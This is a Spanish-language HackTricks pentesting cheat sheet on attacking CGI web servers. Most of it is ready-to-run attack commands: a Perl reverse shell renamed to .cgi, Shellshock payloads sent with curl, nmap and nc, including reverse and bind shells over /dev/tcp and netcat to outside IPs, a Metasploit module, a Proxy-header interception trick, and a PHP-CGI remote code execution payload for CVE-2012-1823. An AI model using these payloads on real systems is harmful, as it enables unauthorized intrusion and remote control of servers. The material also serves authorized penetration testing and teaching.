hacktricks/network-services-pentesting/pentesting-web/cgi.md

98 lines
6.9 KiB
Markdown
Raw Normal View History

<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
2023-06-05 18:33:24 +00:00
# Información
Los **scripts CGI son scripts perl**, por lo tanto, si has comprometido un servidor que puede ejecutar scripts _**.cgi**_, puedes **subir un reverse shell de perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, dar **permisos de ejecución** \(`chmod +x`\) y **acceder** al reverse shell **desde el navegador web** para ejecutarlo.
Para probar **vulnerabilidades CGI** se recomienda usar `nikto -C all` \(y todos los plugins\)
2023-06-05 18:33:24 +00:00
# **ShellShock**
Bash también puede ser utilizado para ejecutar comandos que le son enviados por aplicaciones y es esta característica la que afecta la vulnerabilidad. Un tipo de comando que puede ser enviado a Bash permite establecer variables de entorno. Las variables de entorno son valores dinámicos y nombrados que afectan la forma en que los procesos se ejecutan en una computadora. La vulnerabilidad radica en el hecho de que un **atacante puede añadir código malicioso a la variable de entorno, que se ejecutará una vez que la variable sea recibida**.
2023-06-05 18:33:24 +00:00
Al explotar esta vulnerabilidad, la **página podría mostrar un error**.
2023-06-05 18:33:24 +00:00
Podrías **encontrar** esta vulnerabilidad notando que se está utilizando una **versión antigua de Apache** y **cgi\_mod** \(con carpeta cgi\) o utilizando **nikto**.
2023-06-05 18:33:24 +00:00
## **Prueba**
La mayoría de las pruebas se basan en hacer un echo de algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
2023-06-05 18:33:24 +00:00
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(reflejado, ciego y fuera de banda\)**
2023-06-05 18:33:24 +00:00
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
2023-06-05 18:33:24 +00:00
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Explotación
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM a solicitudes de servidor web\)**
2023-06-05 18:33:24 +00:00
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP\_HOST"="web.com"
Como la variable HTTP\_PROXY podría ser utilizada por el servidor web. Intenta enviar un **encabezado** que contenga: "**Proxy: &lt;IP\_atacante&gt;:&lt;PUERTO&gt;**" y si el servidor realiza alguna solicitud durante la sesión. Podrás capturar cada solicitud realizada por el servidor.
2023-06-05 18:33:24 +00:00
# PHP antiguo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Básicamente si cgi está activo y php es "antiguo" \(&lt;5.3.12 / &lt; 5.4.2\) puedes ejecutar código.
Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros \(especialmente sin enviar el carácter "="\).
Entonces, para probar esta vulnerabilidad, podrías acceder por ejemplo a `/index.php?-s` \(nota el `-s`\) y **el código fuente de la aplicación aparecerá en la respuesta**.
2023-06-05 18:33:24 +00:00
Luego, para obtener **RCE** puedes enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** a ejecutar en el **cuerpo de la solicitud.
Ejemplo:**
2023-06-05 18:33:24 +00:00
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Más información sobre la vulnerabilidad y posibles exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Ejemplo de Writeup de CTF**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>